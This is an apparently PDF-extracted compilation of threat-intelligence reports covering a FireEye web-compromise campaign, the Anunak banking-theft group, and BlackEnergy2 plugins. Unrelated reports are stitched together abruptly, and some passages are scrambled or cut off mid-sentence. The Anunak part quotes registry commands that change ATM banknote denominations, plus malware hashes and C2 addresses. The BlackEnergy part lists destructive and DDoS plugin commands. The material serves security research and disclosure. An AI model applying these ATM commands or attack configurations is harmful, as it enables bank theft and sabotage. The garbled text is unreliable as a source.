Intelligence Brief 2014-07 +References +[1] http://www.crowdstrike.com/blog/whois-numbered-panda/ +[2] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf +[3] http://www.symantec.com/security_response/writeup.jsp?docid=2013-080921-5219-99&tabid=2 +[4] https://blog.commtouch.com/cafe/malware/exe-read-backwards-spells-malware/ +[5] http://threatpost.com/sirefef-malware-found-using-unicode-right-to-left-override-technique/102033 +[6] http://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/ +[7] http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolvequickly.html +[8] https://github.com/arbor/reversing/blob/master/find_byte_strings.py +[9] http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/ +[10] https://www.symantec.com/security_response/writeup.jsp?docid=2014-011500-2419-99&tabid=2 +[11] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm +About ASERT +The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class +network security research and analysis for the benefit of today's enterprise and network operators. +ASERT engineers and researchers are part of an elite group of institutions that are referred to as +super +remediators, + and represent the best in information security. This is a reflection of having both visibility +and remediation capabilities at a majority of service provider networks globally. +ASERT shares operationally viable intelligence with hundreds of international Computer Emergency +Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security +content feeds. ASERT also operates the world +s largest distributed honeynet, actively monitoring Internet +threats around the clock and around the globe via ATLAS +, Arbor's global network of sensors: +http://atlas.arbor.net. This mission and the associated resources that Arbor Networks brings to bear to +the problem of global Internet security is an impetus for innovation and research. +To view the latest research, news, and trends from Arbor, ASERT and the information security community +at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Aided Frame, Aided Direction (Because it +s a redirect) +Introduction: +On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we +believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting +iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a +threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims +systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital +Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent +threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring +our clients were prepared for these intrusion attempts well in advance of threat actor implementation. +Activity Overview: +On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared +infrastructure and tools, on at least three different websites: an international non-profit organization that +focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. +The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of +the iframes. The threat group obfuscated the iframe on two of the compromised websites. +

+Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address +The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these +exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request +to this URI returned the following content: + +with the subject +Updated agreement version +. The attachment +agreement.doc + exploits the vulnerability CVE-2012-2539 and +CVE-2012-0158. The emailing +was conducted for more than +70 addresses of various companies (where multiple recipient +addresses may be within one +company). +The letter with malicious +attachment (md5: AA36BA9F- +4DE5892F1DD427B7B2100B06) +in the archive with a password +from a potential client was sent +to a bank manager after a preliminary telephone conversation +with him. The call origin is Saint +Petersburg. +Contents of a text file named +.doc + (partner detais.doc) +Company Our Century +, Ltd. +109387, Russia, Moscow, +Anosov str., 24, office 409 +Tel. (495) 124-99-77 Fax: +(495)124-99-77 +Mobile (962) 7135296 +E-mail: x60x@nxt. ru +INN 7329001307 KPP 732901001 +Account 40702810613310001709 +Branch of VTB 24 (JSC), Moscow +Correspondent account +30101810700000000955 +BIC 043602955 +A letter on behalf of the +Central Bank of Russia with +a malicious attachment +(md5: 8FA296EFAF87FF4D9179283D42372C52) exploited +the vulnerability CVE-20122539 in order to execute arbitrary code. +There were also other examples of emails with malicious +attachments, such as emailing +with the file +001. photo.exe +A more detailed list of such +attachments you can see in the +Table +Email attachments +AT M attac ks +Contents of the file +1.bat +Availability of access to bank internal networks +opens great opportunities for the hackers. One of +these opportunities is access to ATMs from special network segments that had to be isolated. It is +confirmed that this criminal group gained access to +52 ATMs. The amount of damage exceeds 50 million +rubles. As a result of access to ATMs, depending on +the ATM model, hackers used different patterns. +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_1 /t REG_SZ +5000 +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_2 /t REG_SZ +1000 +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_3 /t REG_SZ +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_4 /t REG_SZ +hange +denomination of +w i t h d r a wa l +banknotes +Having access, the attackers downloaded malicious scripts and changed denominations of issued +banknotes in the ATM operating system registry. As +a result, for query to get 10 notes with denomination +of 100 roubles the attackers received 10 banknotes +with denomination of 5,000 roubles. The used +malicious script and program were developed for the +platform Wincor. +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_1 /t REG_SZ +REG ADD +HKEY_LOCAL_MACHINE\SOFTWARE\ +Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + /v VALUE_4 /t REG_SZ +5000 +The malicious script contains the following +commands: +shutdown -r -t 0 +Figure. Service program KDIAG32 for Wincor ATMs +Figure. Hidden window in the original program KDIAG32 +program that allows by the command to issue money from the dispenser. The original debug program +issues money through the dispenser only when the +open ATM housing and the vault door are fixed. +Execution of this file changed registry keys in +the registry branch +HKEY_LOCAL_MACHINE\ +SOFTWARE\Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER + that are +responsible for cassette denominations in an ATM. +As a result of this file execution the registry key that +is in charge of the cassette number 1 (VALUE_1) is +takes the value +, and the registry key responsible for the cassette number 4 (VALUE_4) is set to +5000 +. Then the command to restart the computer +is issued. The registry key reference values: +Registry key name +Value +VALUE_1 +5000 +VALUE_2 +1000 +VALUE_3 +VALUE_4 +In order to ensure money issuance from the +closed ATM the attackers had to modify the +original program +KDIAG32 + (the original file: +size of 1,128,960 MD5 4CC1A6E049942EBDA395244C74179EFF). +File Name +Size, bytes +MD5 hash +A0064575. +1 128 960 +49C708AAD19596CC +A380FD02AB036EB2 +A comparison of the original version of the program with the modified version showed that the only +difference is in ignoring error +Door not opened or +missing! +. The figure below shows an error message +that will be never displayed to the user in the file +under investigation. +If the ATM actual load corresponds to the reference one and registry keys have been changed, then +the banknotes from the cassette No.1 will be issued +with denomination +5000 + instead of +A n d r om e da u s ag e +w i t h d r a wa l o f a l l c a s h +from dispenser +All traces found during investigation of one incident +showed that the same criminal group had worked. +Ammy Admin was used for remote access, the same +In addition, the attackers used a modified debug +SSHD backdoor was installed +on Unix servers and, In addition, it was loaded from the +same hacked server as in other +cases of trojan Anunak usage. +However, in this case Andromeda is used as the main trojan +instead of Anunak. The management servers were located +in Kazakhstan, Germany and +Ukraine. Check of the management servers showed that it was +the hosting Bulletproof that, in +addition to servers, provides +a service of traffic proxying +through its infrastructure as +well as TOR and VPN usage, +so this pattern is significantly +differs from the Anunak hosting patern. Check of money cashout showed +that the same cashout criminal group had worked +as for Anunak and this fact again confirmed their +cooperation. +victim type (a bank or a payment system), thirdly by +the total stolen sum. +The victims by their type were divided rather by +counterparty types and by limitations imposed by +operation with the counterparties. For example, all +payments were required to go through a certain pool +of mediators. In addition, the +improper + pool of +counterparties could cause suspicion and unnecessary testing (manual processing of payment orders). +Obtained Andromeda trojan copies were being +distributed from August 2014 by e-mail. The value +754037e7be8f61cbb1b85ab46c7da77d, which is the +MD5 hash of the string +go fuck yourself +, was used +as the RC4 encryption key. As a result of this distribution from August to late October the Andromeda +botnet rose up to 260,000 bots. Successful infection +in one subnet resulted in sending such letters to +other bank employees. Example of forwarding from +an infected bank network to employees of another +bank is shown below. +Bank (amounts up to 100 million roubles): +As a result of this radial mailing many oil and gas +companies, banks and government agencies were infected. In Russia at least 15 banks and two payment +systems were infected this way. +When the attackers had obtained control of a +bank operator workstation (attacker purpose), +they in general used a classic tree scheme when +funds from the bank account were sent to several +legal entities, then from each legal entity to +smaller legal entities (may be several such iterations) and then to private person credit cards +(from 600 to 7000 transactions). +When the attackers had obtained control of ATM +management service (attacker purpose), money +were withdrawn directly from the ATM by the attacker command. In this case the whole cashout +process consisted in that a drop person had to be +near the ATM at the specified time with a bag to +empty the dispenser. +Letters with similar attachments were being distributed with the following subjects: +My new photo +Alert Transactions Report by users from 201409-28 to 2014-09-28 +Bank (amounts from 100 million roubles): +Cas h o u t +s c h e m as +Money was sent to accounts of other banks, and +cracked banks were often used where accounts +and credit cards had been prepared in advance. +Payment system: +Previously, it should be noted the fact that the +process of stolen money withdrawal (cashout) was +differed, firstly by the theft method, secondly by the +In addition to all the above methods, cash +sending channels were also employed through +the settlements systems, electronic wallets and +payment systems, such as web money, Yandex +Money, QIWI (1500-2000 transactions). Revenues of large amounts (up to 50 million roubles) +were recorded to particular cards of private persons who then used these cards to buy expensive +small-sized goods such as jewelry, watches, and +other attributes. A huge part of the money was +sent through mobile operators (1500-2000 SIM +cards prepared in advance). +increased to 5. In general, this increase was due +to number of thefts too (number of victims + +average stolen sum per 1 victim). The groups +are working in different cities to ensure better +cashout distribution. Also these groups include +immigrants from former Soviet republics who if +necessary arrive in the required city. Each group +was monitored by a separate person. Each group +consists of about 15-20 people. +In spring 2014 (high time of this fraud type) 2 +cashout person groups were known who supported target attacks, by autumn 2014 their number +Part of the money was transferred to Ukraine and +Belarus. +Ma lwa r e s a m p l e s +anunak +File name +C&C domain +C&C IP +D1DE522652E129C37759158C14D48795 +ntxobj.exe +blizko.net +31.131.17.125 +C687867E2C92448992C0FD00A2468752 +ntxobj.exe +blizko.org +31.131.17.125 +A1979AA159E0C54212122FD8ACB24383 +spoolsv.exe +update-java.net +146.185.220.200 +0AD4892EAD67E65EC3DD4C978FCE7D92 +ZwGuKEMphiZgNT.com +great-codes.com +188.138.16.214 +mind-finder.com +188.138.16.214 +CC294F8727ADDC5D363BB23E10BE4AF2 +svchost.exe +adguard.name +5.199.169.188 +CC294F8727ADDC5D363BB23E10BE4AF2 +d.exe +adguard.name +146.185.220.97 +CC294F8727ADDC5D363BB23E10BE4AF2 +A0050236.exe +adguard.name +5.199.169.188 +AC5D3FC9DA12255759A4A7E4EB3D63E7 +svchost.exe +adguard.name +5.199.169.188 +comixed.org +91.194.254.90 +traider-pro.com +91.194.254.94 +5.1.83.133 +216.170.117.88 +10.74.5.100 +FC6D9F538CDAE19C8C3C662E890AF979 +Dc1.exe +public-dns.us +37.235.54.48 +FC6D9F538CDAE19C8C3C662E890AF979 +Dc1.exe +public-dns.us +146.185.220.200 +FC6D9F538CDAE19C8C3C662E890AF979 +Dc1.exe +freemsk-dns.com +146.185.220.200 +3dc8c4af51c8c367fbe7c7feef4f6744 +185.10.56.59 +3e90bf845922cf1bf5305e6fdcc14e46 +worldnewsonline.pw +5.101.146.184 +1f80a57a3b99eeb8016339991a27593f +CONTRACT.doc +financialnewsonline.pw +185.10.58.175 +b63af72039e4fb2acd0440b03268b404 +QWcQAwoI.exe +great-codes.com +188.138.16.214 +mind-finder.com +188.138.16.214 +veslike.com +65.19.141.199 +publics-dns.com +91.194.254.94 +09c8631c2ba74a92defb31040fe2c45a +QWcQAwoI.exe +coral-trevel.com +87.98.153.34 +9d718e86cacffa39edafbf9c1ebc9754 +Oplata.scr +paradise-plaza.com +91.194.254.93 +mimikatz +File name +5D1AE2391DFB02E573331B3946F0C314 +mimi.exe +8DD78371B2D178FB8C8A9B1012D7E985 +m86.exe +8646E3D8FFFFE854D5F9145C0AB413F6 +00019114 +E464D4804D36FDDF0287877D66D5037A +00030724 +DE9F4CBB90C994522553AB40AC2D5409 +00032800 +E9FC0F53C7C0223DE20F1776C53D3673 +A0049585.exe +A4B053D9EC7D5EDB207C208BFBE396EC +A0050233.dll +86BD7F72A495A22B22070C068B591DF8 +A0050235.sys +2B817BD8195DC7F56500F38A0C740CEF +m.exe +andromeda +File name +C&C domain +C&C IP +4CF26F8E2F6864C4A8AAA7F92E54E801 +001. photo.exe +ddnservice10.ru/and/jopagate.php +ddnservice11.ru/and/jopagate.php +144.76.215.219 +mbr_eraser +File name +934E1055B171DF0D3E28BE9831EB7770 +MBR_Eraser.exe +email at tachments +File name +C&C domain +8FA296EFAF87FF4D9179283D42372C52 +-115 + 24.06.2014 +.doc_ +CVE-2012-2539 +AA36BA9F4DE5892F1DD427B7B2100B06 +.doc.cpl ( +partner details.doc.cpl +CVE-2012-0158, +CVE-2012-2539 +4CF26F8E2F6864C4A8AAA7F92E54E801 +001. photo.exe +17984EB3926BF99F0CCB367F4FBA12E3 +.doc +About changes of electronic interaction rules.doc +CVE-2012-0158 +94666BCA3FE81831A23F60C407840408 +.doc ( +About peculiarities of organizing and +conducting inspections of credit institutions.doc +CVE-2012-0158 +Attac ks i n E u r o p e a n d US A +and Anunak variants. This was one of the main +methods for the group using Anunak to obtain interesting infections in the middle of 2014, sourcing +infections from other botnet operators.More recently other infection methods, including spear phishing +using English language and possibly also usage of +the teams own Andromeda, but also SQL injection +to breach an organization directly from the outside, +has been employed by this team. +While the attacks in Russia against banks and +payment systems have occurred over the past two +years, the attacks against the retail industry is only +something which started in the second quarter of +2014. With at least three confirmed breaches where +card track data was obtainedand a total of at least 16 +breaches at retail organizations, it is also becoming a +serious threat. +Apart from retail organizations it is also known +that a number of media and PR companies have +been breached in 2014. While it is not entirely certain, the type of breaches suggest that the attackers +are looking for inside information, a type of industrial espionage, allowing them to gain an advantage +on the stock market. As there is nothing specifically +missing and the resulting fraud is hard to match +with anything, these incidents typically are never +linked. +Retail +Media/PR/ +Marketing +Australia +Spain +Italy +pos compromises +The first known attacks with Anunak targeted +a specific brand of POS systems which revolved +around the Epicor/NSB brand. To do this Anunak +has specific code to target POS devices equipped +with this software, which in contrary to the more +common memory scanning track data scrapers, logs +a wealth of information from the payments done by +the cards. The first case this was seen active was in +July 2014, but it might have been earlier as well. +More recent breaches have used a new custom +developed POS malware, which is a more simple +but reliable track data memory scraper. The initial +version from the early fall of 2014 used a simple +blacklist, scraped every process and dumped track +data in plain text. More recent versions scanned +only configuration specified processes and used RC4 +to encrypt the extracted track data records on disk. +Table: Overview of compromises per region and +sector. +additional targets +While the retail industry is one of its main targets +due to its payment processing capabilities, other +compromises might occur indirectly, for example to +obtain databases with information or other information that is of value to the organized criminal group. +One of the possibilities is obtaining lists of corporate +email addresses to have a higher chance of interesting infections. +infection methods +From the retail perspective, the first infections in +2014 were sourced from a botnet which employs a +widely deployed crypto-currency mining malware +based on the Gozi/ISFB (banking) malware family. +Based on our insights we believe during the first +half of 2014 over half a million systems had been +compromised by this malware from over the whole +world, however Russia and a number of post-Soviet +states were clean of infections. To find interesting +infections within this large set of compromised +systems, the malware extracts relevant information +from the systems including Microsoft Windows +organization registration information and network/ +Windows domain information. +At this moment we have no evidence of successful +compromise or theft of banks and payment systems +outside of Russia, but several infections in the east +of Europe (specifically Ukraine and Latvia) were +active in 2014. These specific infections were related +to infrastructure of organizations based in Russia or +with significant interests in Russia, thus more likely +related to the breaches at the same organization in +Russia. +The Gozi/ISFB based malware was used to drop +additional components on interesting systems, +which included Metasploit/Meterpreter payloads +The majority of infections from Europe were from +dedicated servers used as exit node for VPN services, +promised organizations were methods employed by +these attackers. This also includes video captures +made by the Anunak malware, allowing attackers to +observe the behavior of users of certain applications. +the systems infected were likely from Eastern European or Russian origin, and possibly test infections +from the attackers. We have no evidence of compromises against banks in Western Europe or United +States, but it should be noted that the attackers +methods could be utilized against banks outside of +Russia as well. +A bo u t u s +group-ib +methods of l ateral movement +and persistence +Group-IB is one of the leading international +companies specializing in preventing and investigating high-tech cyber crimes and fraud. The company +offers a range of services on preventing financial +and reputational damages, consulting and auditing +of information security systems, and on computer +forensics. The company also develops a number of +innovative software products used to monitor, detect +and prevent emerging cyber threats. +The group uses Metasploit as one of their main +hacking tools, either stand alone or as part of a +framework. The activity includes port scanning and +system reconnaissance, escalating privileges on +systems by using for example the recent CVE-20144113 vulnerability, gathering credentials and hopping on to other systems and networks. Metasploit +is being used to its full potential with scanning, +exploiting, privilege escalation and post exploitation +persistence being achieved with its standard toolset. +The Group-IB team is made up of experts with +unique skills and solid practical experience. They +are internationally certified by CISSP, CISA, CISM, +CEH, CWSP, GCFA and also have information +security state certificates. In 2013, computer security incident response team CERT-GIB operated by +Group-IB became a member of FIRST + Forum of +Incident Response and Security Teams. +On interesting and critical systems typical hacking tools might be found to establish tunnels out +of the network, either tools that are part of the +Metasploit framework such as Meterpreter, but also +other tools to achieve persistence on those systems. +The connect back methods seen are typically SSL +over port 443, but also DNS based methods were +observed. The attackers use BITS to download files, +but also make use of Windows built-in PowerShell to +download tools and execute commands. Finally on +the critical systems freshly crypted and non-detected +versions of Anunak are deployed, typically these are +used in very limited deployments thus their spread +is limited and detection by Anti-Virus is very rare. +In 2013, the company became a member of the +international cyber security alliance IMPACT (International Multilateral Partnership Against Cyber +Threats). +www.group-ib.com +fox-it +Fox-IT creates innovative cyber security solutions +for a more secure society. We are dedicated to our +clients, our values, and our integrity. Fox-IT delivers +solutions before, during and after attacks. InTELL +is the real-time cyber intelligence product from +Fox-IT. It provides a layered intelligence approach: +actionable data feeds into operational risk decision +systems. Real time threat information allows for +tactical decisions and mitigation. InTELL provides a +full real-time insight in the global threat landscape. +We base our intelligence around actor attribution. This angle drives a unique visibility on online +threats + InTELL sees threats before they enter the +botnet. Information is delivered through our collaboration portal, alerting, and through automated +feeds powered by industry standard transports. +Various stealth methods including the aforementioned backconnect SSL and DNS tunneling for +compromise persistence and data exfiltration are +used. The Anunak malware has multiple ways of +connecting to backends, which includes a PHP based +backend reachable over HTTP and HTTPS, and a +Windows server based component using a proprietary protocol. +The use of VNC scanning and password brute +forcing, the adding of additional administrator +accounts, use of RDP Wrapper to allow concurrent +RDP sessions are all methods to gain access and +achieve persistent access to compromised systems +employed by this group. Additionally various ways +of creating incidental and regular screen captures +of the desktop of persons of interest within com- +www.fox-it.com +BE2 Custom Plugins, Router Abuse, and Target Profiles +The BlackEnergy malware is crimeware turned APT tool and is used in significant geopolitical operations +lightly documented over the past year. An even more interesting part of the BlackEnergy story is the +relatively unknown custom plugin capabilities to attack ARM and MIPS platforms, scripts for Cisco +network devices, destructive plugins, a certificate stealer and more. Here, we present available data - it is +difficult to collect on this APT. We will also present more details on targets previously unavailable and +present related victim profile data. +These attackers are careful to hide and defend their long-term presence within compromised +environments. The malware's previously undescribed breadth means attackers present new technical +challenges in unusual environments, including SCADA networks. Challenges, like mitigating the attackers' +lateral movement across compromised network routers, may take an organization's defenders far beyond +their standard routine and out of their comfort zone. +Brief History +BlackEnergy2 and BlackEnergy3 are known tools. Initially, cybercriminals used BlackEnergy custom +plugins for launching DDoS attacks. There are no indications of how many groups possess this tool. +BlackEnergy2 was eventually seen downloading more crimeware plugins - a custom spam plugin and a +banking information stealer custom plugin. Over time, BlackEnergy2 was assumed into the toolset of the +BE2/Sandworm actor. While another crimeware group continues to use BlackEnergy to launch DDoS +attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and +included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 +APT, while it has been called "Sandworm Team" also. +The Plugins and Config Files +Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one +of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in +newer BlackEnergy configuration files. As described in Dmitry's 2010 Black DDoS' analysis, a +configuration file is downloaded from the server by main.dll on an infected system. The config file +provides download instructions for the loader. It also instructs the loader to pass certain commands to the +plugins. In this particular case in 2013, the config file included an unknown plugin set, aside from the +usual 'ddos' plugin listing. Displayed below are these new, xml formatted plugin names "weap_hwi", "ps", +and "vsnet" in a BlackEnergy configuration file download from a c2 server. This new module push must +have been among the first for this group, because all of the module versions were listed as "version 1", +including the ddos plugin: +Config downloaded from BE2 server +The 'ps' plugin turned out to be password stealer. The 'vsnet' plugin was intended to spread and launch a +payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as +gaining primary information on the user's computer and network. Most surprising was the 'weap_hwi' +plugin. It was a ddos tool compiled to run on ARM systems: +Weap_hwi plugin +At first, we didn't know whether the ARM plugin was listed intentionally or by mistake, so we proceeded to +collect the CnC's config files. After pulling multiple config files, we confirmed that this ARM object +inclusion was not a one-off mistake. The server definitely delivered config files not only for Windows, but +also for the ARM/MIPS platform. Though unusual, the ARM module was delivered by the same server and +it processed the same config file. +Linux plugins +Over time we were able to collect several plugins as well as the main module for ARM and MIPS +architectures. All of these ARM/MIPS object files were compiled from the same source and later pushed +out in one config: "weap_msl", "weap_mps", "nm_hwi", "nm_mps", "weap_hwi", and "nm_msl". It's +interesting that the BE2 developers upgraded the ddos plugin to version 2, along with the nm_hwi, +nm_mps, and nm_msl plugins. They simultaneously released version 5 of the weap_msl, weap_mps, and +weap_hmi plugins. Those assignments were not likely arbitrary, as this group had developed +BlackEnergy2 for several years in a professional and organized style: +Config with a similar set of plugins for different architectures +Here is the list of retrieved files and related functionality: +weap +DDoS Attack (various types) +password stealer handling a variety of network protocols +(SMTP, POP3, IMAP, HTTP, FTP, Telnet) +scans ports, stores banners +snif +logs IP source and destination, TCP/UDP ports +hook +main module: CnC communication, config parser, plugins +loader +uper +rewrites hook module with a new version and launches it +Weap, Snif, Nm plugin grammar mistakes and mis-spellings +The developers' coding style differed across the 'Hook' main module, the plugins, and the Windows +main.dll. The hook main module contained encrypted strings and handled all the function calls and +strings as the references in a large structure. This structure obfuscation may be a rewrite effort to better +modularize the code, but could also be intended to complicate analysis. Regardless, it is likely that +different individuals coded the different plugins. So, the BE2 effort must have its own small team of plugin +and multiplatform developers. +Hook module structure +After decrypting the strings, it became clear that the Linux Hook main module communicated with the +same CnC server as other Windows modules: +The CNC's IP address in the Linux module +This Linux module can process the following commands, some of which are similar to the Windows +version: +delete all BlackEnergy2 files and system traces +kill +delete all BlackEnergy2 files and system traces and reboot +lexec +launch a command using bin/sh +rexec +download and launch file using 'fork/exec' +update +rewrite self file +migrate +update the CnC server +Windows Plugins +After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid +greater attention to new BE2 samples and associated CnCs. +During an extended period, we were able to collect many Windows plugins from different CnC servers, +without ever noticing Linux plugins being downloaded as described above. It appears the BE2/SandWorm +gang protected their servers by keeping their non-Windows hacker tools and plugins in separate servers or +server folders. Finally, each CnC server hosts a different set of plugins, meaning that each server works +with different victims and uses plugins based on its current needs. Here is the summary list of all known +plugins at the moment: +searches for given file types, gets primary system and network +information +password stealer from various sources +makes screenshots +vsnet +spreads payload in the local network (uses psexec, accesses admin +shares), gets primary system and network information +remote desktop +scan +scans ports of a given host +backup channel via plus.google.com +file infector (local, shares, removable devices) with the given payload +downloaded from CnC +cert +certificate stealer +logs traffic, extracts login-passwords from different protocol (HTTP, +LDAP, FTP, POP3, IMAP, Telnet ) +sets password hash in the registry for TeamViewer +Proxy server +dstr +Destroys hard disk by overwriting with random data (on application level +and driver level) at a certain time +keylogger +BE2 service file updater +gathers information on connected USBs (Device instance ID, drive +geometry) +bios +gathers information on BIOS, motherboard, processor, OS +We are pretty sure that our list of BE2 tools is not complete. For example, we have yet to obtain the router +access plugin, but we are confident that it exists. Evidence also supports the hypothesis that there is a +decryption plugin for victim files (see below). +Our current collection represents the BE2 attackers' capabilities quite well. Some plugins +remain mysterious and their purpose is not yet clear, like 'usb' and 'bios'. Why would the attackers need +information on usb and bios characteristics? It suggests that based on a specific USB and BIOS devices, +the attackers may upload specific plugins to carry out additional actions. Perhaps destructive, perhaps to +further infect devices. We don't know yet. +It's also interesting to point out another plugin + 'grc'. In some of the BE2 configuration files, we can +notice an value with a "gid" type: +The addr number in the config +This number is an ID for the plus.google.com service and is used by the 'grc' plugin to parse html. It then +downloads and decrypts a PNG file. The decrypted PNG is supposed to contain a new CNC address, but we +never observed one. We are aware of two related GooglePlus IDs. The first one, +plus.google.com/115125387226417117030/, contains an abnormal number of views. At the time of writing, +the count is 75 million: +BE2 plus profile +The second one - plus.google.com/116769597454024178039/posts - is currently more modest at a little +over 5,000 views. All of that account's posts are deleted. +Tracked Commands +During observation of the described above "router-PC" CnC we tracked the following commands delivered +in the config file before the server went offline. Our observation of related actions here: +u ps +start password stealing (Windows) +Ps_mps/ps_hwi start +start password stealing (Linux, MIPS, ARM) +uper_mps/uper_hwi start +rewrite hook module with a new version and launch it +(Linux, MIPS, ARM) +Nm_mps/nm_hwi start +ban -middle +Scan ports and retrieve banners on the router subnet +(Linux, MIPS, ARM) +U fsget * 7 *.docx, *.pdf, +*.doc * +search for docs with the given filetypes (Windows) +S sinfo +retrieve information on installed programs and launch +commands: systeminfo, tasklist, ipconfig, netstat, route +table, trace route to google.com (Windows) +weap_mps/weap_hwi +host188.128.123.52 +port[25,26,110,465,995] +typetcpconnect +DDoS on 188.128.123.52 (Linux, MIPS, ARM) +weap_mps/weap_hwi +typesynflood port80 +cnt100000 spdmedium +host212.175.109.10 +DDoS on 212.175.109.10 (Linux, MIPS, ARM) +The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM +devices. We want to pay special attention to the DDoS commands meant for these routers. 188.128.123.52 +belongs to the Russian Ministry of Defense and 212.175.109.10 belongs to the Turkish Ministry of +Interior's government site. While many researchers suspect a Russian actor is behind BE2, judging by +their tracked activities and the victim profiles, it's still unclear whose interests they represent. +While observing some other CnCs and pulling down config files, we stumbled upon some strange mistakes +and mis-typing. They are highlighted in the image below: +BE2 config file mistakes +First, these mistakes suggest that the BE2 attackers manually edit these config files. Secondly, it shows +that even skilled hackers make mistakes. +Hard-Coded Command and Control +The contents of the config files themselves are fairly interesting. They all contain a callback c2 with a +hardcoded ip address, some contain timeouts, and some contain the commands listed above. We include a +list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of +the host: +C2 IP address +Owner +Country +184.22.205.194 +hostnoc.net +5.79.80.166 +Leaseweb +46.165.222.28 +Leaseweb +95.211.122.36 +Leaseweb +46.165.222.101 +Leaseweb +46.165.222.6 +Leaseweb +89.149.223.205 +Leaseweb +85.17.94.134 +Leaseweb +46.4.28.218 +Hetzner +78.46.40.239 +Hetzner +95.143.193.182 +Serverconnect +188.227.176.74 +Redstation +93.170.127.100 +Nadym +37.220.34.56 +Yisp +194.28.172.58 +Besthosting.ua +124.217.253.10 +PIRADIUS +84.19.161.123 +Keyweb +109.236.88.12 +worldstream.nl +212.124.110.62 +digitalone.com +5.61.38.31 +3nt.com +5.255.87.39 +serverius.com +It's interesting that one of these servers is a Tor exit node. And, according to the collected config files, the +group upgraded their malware communications from plain text http to encrypted https in October 2013. +BE2 Targets and Victims +BlackEnergy2 victims are widely distributed geographically. We identified BlackEnergy2 targets and +victims in the following countries starting in late 2013. There are likely more victims. +Russia +Ukraine +Poland +Lithuania +Belarus +Azerbaijan +Kyrgyzstan +Kazakhstan +Iran +Israel +Turkey +Libya +Kuwait +Taiwan +Vietnam +India +Croatia +Germany +Belgium +Sweden +Victim profiles point to an expansive interest in ICS: +power generation site owners +power facilities construction +power generation operators +large suppliers and manufacturers of heavy power related materials +investors +However, we also noticed that the target list includes government, property holding, and technology +organizations as well: +high level government +other ICS construction +federal land holding agencies +municipal offices +federal emergency services +space and earth measurement and assessment labs +national standards body +banks +high-tech transportation +academic research +Victim cases +We gained insight into significant BE2 victim profiles over the summer of 2014. Interesting BE2 incidents +are presented here. +Victim #1 +The BE2 attackers successfully spearphished an organization with an exploit for which there is no current +CVE, and a metasploit module has been available This email message contained a ZIP archive with EXE +file inside that did not appear to be an executable. This crafted zip archive exploited a WinRAR flaw that +makes files in zip archives appear to have a different name and file extension. +BE2 spearphish example +The attached exe file turned out to be 'BlackEnergy-like' malware, which researchers already dubbed +'BlackEnergy3' - the gang uses it along with BlackEnergy2. Kaspersky Lab detects 'BlackEnergy3' malware +as Backdoor.Win32.Fonten + naming it after its dropped file "FONTCACHE.DAT" +When investigating computers in the company's network, only BE2 associated files were found, suggesting +BE3 was used as only a first-stage tool on this network. The config files within BE2 contained the settings +of the company's internal web proxy: +BE2 config file contains victim's internal proxy +As the APT-specific BE2 now stores the downloaded plugins in encrypted files on the system (not seen in +older versions + all plugins were only in-memory), the administrators were able to collect BE2 files from +the infected machines. After decrypting these files, we could retrieve plugins launched on infected +machines: ps, vsnet, fs, ss, dstr. By all appearances, the attackers pushed the 'dstr' module when they +understood that they were revealed, and wanted to hide their presence on the machines. Some machines +already launched the plugin, lost their data and became unbootable. +Desstructive dstr command in BE2 config file +Also, on some machines, documents were encrypted, but no related plugin could be found. +Victim #2 +The second organization was hacked via the first victim's stolen VPN credentials. After the second +organization was notified about the infection they started an internal investigation. They confirmed that +some data was destroyed on their machines, so the BE2 attackers have exhibited some level of destructive +activity. And, they revealed that their Cisco routers with different IOS versions were hacked. They weren't +able to connect to the routers any more by telnet and found the following "farewell" tcl scripts in the +router's file system: +Ciscoapi.tcl + contains various wrappers over cisco EXEC-commands as described in the comments. +The comment includes a punchy message for "kasperRsky": +BE2 ciscoapi.tcl fragment +Killint.tcl + uses Ciscoapi.tcl, implements destroying functions: +BE2 